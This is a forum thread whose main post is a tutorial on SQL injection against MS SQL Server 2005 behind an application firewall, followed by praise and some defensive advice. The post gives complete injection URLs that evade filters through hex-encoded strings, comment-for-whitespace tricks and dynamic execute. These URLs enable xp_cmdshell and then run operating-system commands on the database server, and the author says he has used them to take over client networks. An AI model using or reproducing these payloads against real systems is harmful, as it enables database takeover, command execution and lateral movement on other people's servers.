SQL Injection 201: Hacking Application Firewalls

DON'T post new tutorials here! Please use the "Pending Submissions" board so the staff can review them first.
Post Reply
User avatar
simonde
forum buddy
forum buddy
Posts: 14
Joined: 23 Apr 2008, 16:00
15
Contact:

SQL Injection 201: Hacking Application Firewalls

Post by simonde »

(warning: gets a bit technical):

The Situation:
You have a web application (say, http://hackme.com).
You've identified a page on it that is vulnerable to SQL Injection (say, http://hackme.com/hacked.cfm?id=123)

Your Knowledge (via error messages and/or information gathering):
The target is running MS SQL Server 2005
The target is running an application firewall (let's say ISS, though it could just as easily be Barracuda or others)
The "id" field in the URL is passed verbatim into a dynamic SQL query as an integer (bad developer, no cookie!)
The developer (not wanting to be hacked), passes all user input through a filter that pads single quotes (adding an additional single quote so that it's treated as a literal)
The developer (really not wanting to be hacked), strips all whitespace (internal and external) from input
Developers being developers, we believe that the web application connects to the database as a user with administrative privileges

Your Goals:
Get access to the command line on the database server (via xp_cmdshell, of course)
Take over the server
Expand your access out into the network
Conquer the planet

For the purposes of this discussion, we'll leave it at wanting to get something along the following lines to execute in the database:

exec master..xp_cmdshell 'echo pwn3d>hack.txt'

Not terribly exciting, but it shows all the access we need to accomplish all of the above (with the possible exception of conquering the planet).

Problems:
Every application firewall on the planet will pick up on xp_cmdshell
Padding of single quotes, while not preventing us from injecting on a numeric field, does make life difficult for passing string-based arguments to functions in our SQL
Removing all whitespace from our input ticks us off and prevents normal SQL from executing
MS SQL Server 2005 disables xp_cmdshell by default. It has to be explicitly enabled before anyone (even sa) can call it.

The Hack:
First off, we deal with those pesky single quotes. Little known fact: SQL Server will treat hex as a varchar. So the following are equivalent:

'echo pwn3d>hack.txt'
0x6563686F2070776E33643E6861636B2E747874

This changes the string that we want to execute to:

exec master..xp_cmdshell 0x6563686F2070776E33643E6861636B2E747874

Ok...so far so good (no single quotes)....but there's still that application firewall (that hideously expensive appliance designed to keep us from doing exactly what we're looking to do).

Application firewalls (even the big, expensive ones) effectively operate off of black lists. Powerful, somewhat dynamic black lists, but black lists nonetheless. While they will definitely pick up on "xp_cmdshell", we may be able to write things in a way that they don't know about.

Enter Transact SQL (in this case)....plus a second little known fact: the "exec" statement can take an nvarchar as an argument. So we write some TSQL (note, the hex for xp_cmdshell is 0x78705F636D647368656C6C):

Code: Select all

declare @v as varchar(2048)
declare @n as nvarchar(2048)
set @v = 0x78705F636D647368656C6C
set @n = cast(@v as nvarchar)
set @v = 0x6563686F2070776E33643E6861636B2E747874
execute @n @v

I use "execute" rather than "exec" as some application firewalls (*cough*Barracuda*cough*) will pick up on "exec" as perl command line injection.

Finally, we deal with that pesky stripping of whitespace. Little known fact number 3: SQL Server will treat inline comments as whitespace, so "SELECT * FROM sysobjects" and "SELECT/**/*/**/FROM/**/sysobjects" are the same. Applying this to our TSQL, we get the marvelously hideous string:

Code: Select all

declare/**/@v/**/as/**/varchar(2048)/**/declare/**/@n/**/as/**/nvarchar(2048)/**/set/**/@v/**/=/**/0x78705F636D647368656C6C
/**/set/**/@n=cast(@v/**/as/**/nvarchar)/**/set/**/@v=0x6563686F2070776E33643E6861636B2E747874/**/execute/**/@n/**/@v
Dropping this into our URL (and URL-encoding), we get:

Code: Select all

http://hackme.com/hack.cfm?id=1;declare/**/@v/**/as/**/varchar(2048)/**/declare/**/@n/**/as/**/nvarchar(2048)/**/set/**/@v/**
/%3d/**/0x78705F636D647368656C6C/**/set/**/@n%3dcast(@v/**/as/**/nvarchar)/**/set/**/@v%3d0x6563686F2070776E33643E6861636B2E747874/**/execute/**/@n/**/@v;+--
We hit this page and.....DRAT! It doesn't work. They must not have enabled xp_cmdshell on the SQL Server 2K5.

Never fear, this is why life is fun. If you have admin privileges, you can enable xp_cmdshell via the following:

sp_configure 'show advanced options',1
reconfigure
sp_configure 'xp_cmdshell',1
reconfigure

Note that you can't call CONFIG (a.k.a. reconfigure) during a user transaction, so you'll want to do some commits.

Applying what we learned above, we can make a new statement:

Code: Select all

http://hackme.com/hack.cfm?id=1;commit;declare/**/@v/**/as/**/varchar(2048)/**/declare/**/@n/**/as/**/nvarchar(2048)/**/set/**/@v/**/%3d/**/0x73705F636F6E666967757265/**/set
/**/@n%3dcast(@v/**/as/**/nvarchar)/**/set/**/@v%3d0x73686F7720616476616E636564206F7074696F6E73/**/execute/**/@n/**/@v,1;commit;reconfigure;declare/**/@v/**/as/**/varchar(2048)
/**/declare/**/@n/**/as/**/nvarchar(2048)/**/set/**/@v/**/%3d/**/0x73705F636F6E666967757265/**/set/**/@n%3dcast(@v/**/as/**/nvarchar)/**/set/**/@v%3d0x78705F636D647368656C6C/**
/execute/**/@n/**/@v,1;commit;reconfigure;+--
Then, our nefarious work done, we call our newly enabled xp_cmdshell:

Code: Select all

http://hackme.com/hack.cfm?id=1;declare/**/@v/**/as/**/varchar(2048)/**/declare/**/@n/**/as/**/nvarchar(2048)/**/set/**/@v/**/%3d/**
/0x78705F636D647368656C6C/**/set/**/@n%3dcast(@v/**/as
/**/nvarchar)/**/set/**/@v%3d0x6563686F2070776E33643E6861636B2E747874/**/execute/**/@n/**/@v;+--

Conclusions:
The above code is one means to an end. There's a large number of variations on this (PL-SQL, Java, other forms of T-SQL, etc.). The main gist is that you're passing information into the App Firewall that it has no idea what to do with (it's not in the black list), so it lets it go. This is not a flaw in the application firewall....it's just the nature of the beast.

If you can get one of the T-SQL statements to go through, you can execute any SQL that you want -- all of the actual "work" is done in the hex strings.

I've done pretty much this exact attack on numerous clients (most recently just this week) to take over the database server, establish a command shell, and proceed to expand out into the network.
C|EH, ECSA, C|EI
Halock Security Labs
http://www.halock.com

User avatar
ayu
Staff
Staff
Posts: 8109
Joined: 27 Aug 2005, 16:00
18
Contact:

Post by ayu »

I haven't read it all yet (gotta go and make dinner), but so far I'm impressed. Good work =)
"The best place to hide a tree, is in a forest"

User avatar
bad_brain
Site Owner
Site Owner
Posts: 11636
Joined: 06 Apr 2005, 16:00
18
Location: In your eye floaters.
Contact:

Post by bad_brain »

now people might understand why I say "not interested" when people ask me to secure MS servers... :lol:
real nice one, I think I copy it to the tutorial-boards...hope to read more from you in the future... :)

btw, I've split the long URLs to fix the layout a bit... :wink:

User avatar
simonde
forum buddy
forum buddy
Posts: 14
Joined: 23 Apr 2008, 16:00
15
Contact:

Post by simonde »

Awww...you didn't like the hideous scrolling? ;)

(hadn't realized until after I posted that code sections didn't get their own internal scroll)


MS SQL Servers *can* be secured....you just have to work at it. A lot. I've run into more than one instance of MS SQL where I had SQL Injection (bad developer!), but wasn't able to do much of interest due to the DBA being at least somewhat security-aware.

A few things to severely limit the damage that can be done:

1. Make everything a stored proc (selects, logins, updates, etc.)
2. Create an account that can _only_ access the stored procs that you've defined (no select statements or anything else)
3. Use that account to connect to the database from the web application
4. Oh yeah...and ALWAYSALWAYSALWAYS change the sa account password to something decently strong. Always.


Certainly not foolproof, but it makes life VASTLY more difficult for the poor hacker trying to exploit the SQL Injection that the developer was nice enough to work in for him.....
C|EH, ECSA, C|EI
Halock Security Labs
http://www.halock.com

User avatar
bad_brain
Site Owner
Site Owner
Posts: 11636
Joined: 06 Apr 2005, 16:00
18
Location: In your eye floaters.
Contact:

Post by bad_brain »

well, like I said in an earlier thread, I am into Linux....and so I see (of course) no reason why someone would prefer MS SQL over MYSQL or PostgreSQL.
access control is much better implemented in Linux, even without using access control expansions like SELinux.
of course this just a measurement to avoid higher level damage ("rooting the box") when the developer of the web application was not careful enough when writing his code....but on Linux such unexpected problems can be intercepted much easier, at least I am not aware of a well implemented web application firewall solution for MS servers like mod security for Apache servers that make SQL injections de facto impossible (a certain knowhow level preconditioned of course, but nobody should run a productive server without a good portion of knowhow anyway).

:wink:

User avatar
simonde
forum buddy
forum buddy
Posts: 14
Joined: 23 Apr 2008, 16:00
15
Contact:

Post by simonde »

Oh...totally agree re: MySQL/PostGreSQL. Never really understood the attraction of MSSQL. I love it as a hacker, of course (makes my life easy)....but I have no idea why people seem so fond of using it for legitimate work.

I personally prefer Postgres when I can get it....though mySQL has come a _long_ way of late.
C|EH, ECSA, C|EI
Halock Security Labs
http://www.halock.com

User avatar
computathug
Administrator
Administrator
Posts: 2693
Joined: 29 Mar 2007, 16:00
17
Location: UK
Contact:

Post by computathug »

Nice tut and welcome to the forum buddy.

Hope to see much more from you in the future :wink:

User avatar
k28379
Newbie
Newbie
Posts: 1
Joined: 29 Sep 2008, 16:00
15

Post by k28379 »

nice works for done

User avatar
F4LSE
Fame ! Where are the chicks?!
Fame ! Where are the chicks?!
Posts: 236
Joined: 02 Jul 2007, 16:00
16
Location: My Lab
Contact:

Post by F4LSE »

very handy.
keep up the good work

User avatar
freer
Newbie
Newbie
Posts: 4
Joined: 30 Jan 2009, 17:00
15

Post by freer »

Nice post!it's very userful

Post Reply